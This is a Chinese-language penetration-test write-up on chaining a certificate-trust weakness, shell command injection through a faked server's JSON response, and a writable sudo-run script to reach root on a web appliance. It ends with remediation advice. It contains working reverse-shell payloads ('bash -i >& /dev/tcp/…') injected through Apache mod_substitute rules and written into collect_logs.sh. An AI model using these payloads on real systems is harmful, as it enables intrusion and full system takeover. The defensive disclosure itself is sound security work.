利用多个安全漏洞获得root权限的过程

利用多个安全漏洞获得root权限的过程

被测试的系统有一个功能:添加某个远程的服务器,保存必要的认证信息,后续会通过REST请求和rabbitmq持续获取一些数据。一部分主要流程如下图:

Add Remote Server

图中流程的第2、10、11存在安全隐患,在测试阶段通过伪造一个服务器并控制返回值,实现了命令注入。结合系统中另外一个进程权限的漏洞,最终获得root权限。Demo如下。后面会详细介绍证实的过程。

漏洞发现过程

不受信任的证书也可以建立连接

添加一个伪造的服务器时,获取到服务器的证书后仅显示了证书的一些基本信息,比如:

  • Organization Unit
  • Issued By
  • Expires Date
  • SHA-1 Thumbprint

Certificate Info

最关键的信息,比如:”这个证书是否是可信任的“,没有以明显的方式提醒用户,很容易骗取用户的信任进行后续的操作。对比一些浏览器的行为,在使用浏览器访问不受信任的网站时,首先是警告用户告之风险。

IE Behavior

shell命令注入

在流程图中的第10步,会创建一个linux 进程与RabbitMQ server建立连接。正常的进程如下:

1
webapp 5099 28238 0 09:00 ? 00:00:00 python3 /webapp/bin/update.py -a 192.168.150.49 -i 192_168_150_49 -r xxxxx -c start

其中”192.168.150.49“ 是remote server的IPv4 地址,这个参数是否可以控制,传一段shell code呢?推测了一下:

  • 这个IPv4地址应该不是直接从UI上用户输入拿到的,因为首先需要是一个真实的IPv4地址或者hostname,才能够获取到证书。
  • 那很有可能是从数据库中(流程图中第10步)读取的某个字段。
  • 数据库表结构设计会不会和remote server(REST请求)的response完全对应呢?
  • 流程图第10步中,会不会没有校验直接将response的值保存到数据库?
  • 流程图第9步中,可不可以修改response,返回一段构造的shell 命令?

以上是意识到存在shell命令注入可能性,推测出需要符合什么样的条件,才能实施注入。接下来就是一个条件一个条件的验证了(有代码权限的话,直接看代码验证更直接)。

首先伪造一个服务器,使第9步获取server 信息时能够返回构造的shell命令。为了节省时间,直接使用Apache mod_proxy和mod_substitute完成请求转发和返回值替换。以下是httpd配置文件的关键部分。其中,192.168.150.49是原始的服务器。

1
2
3
4
5
6
7
8
ProxyRequests On
SSLProxyEngine On
ServerName 192.168.150.52
ProxyPass / https://192.168.150.49/
ProxyPassReverse / https://192.168.150.49/
AddOutputFilterByType SUBSTITUTE application/json
Substitute "s|192.168.150.49|192.168.150.52 `bash -i >& /dev/tcp/192.168.150.52/1234 0>&1`|"

关于ssl.conf中用到的证书的生成和配置,不多做描述。

然后按照demo中的步骤添加这个伪造的服务器,经过进一步验证,以上推测全部正确。

然而该进程owner是一个普通用户,怎么才能得到root权限呢?

提权

首先查找了该用户具有写权限的所有可执行文件,然后逐一排查是否有可以利用的。在实际排查时,主要搜索可执行文件名和关键字sudo。果然,发现了一个坑。

1
2
grep -r 'sudo' *
collect-logs.js: exec('sudo /webapp/bin/collect_logs.sh', (error, stdio, stderr) => {

然后把伪造服务器的response改成

1
Substitute "s|192.168.150.49|192.168.150.52 `echo 'bash -i >& /dev/tcp/192.168.150.52/1234 0>&1'>/webapp/bin/collect_logs.sh`|"

然后使用系统的下载日志功能,触发并反弹shell。

解决方案

受信任的证书

  • 对于CA签名的证书,应该预先将CA机构证书导入truststore,在建立连接时校验是否可信任。并且校验证书链是否完整。
  • 对于self-signed证书,应该预先将信任的self-signed证书导入truststore,在建立连接时校验是否可信任。
  • 证书到期的检查
  • 证书吊销的检查

shell命令注入

https://www.owasp.org/index.php/Command_Injection

进程权限

https://www.owasp.org/index.php/Security_by_Design_Principles#Principle_of_Least_privilege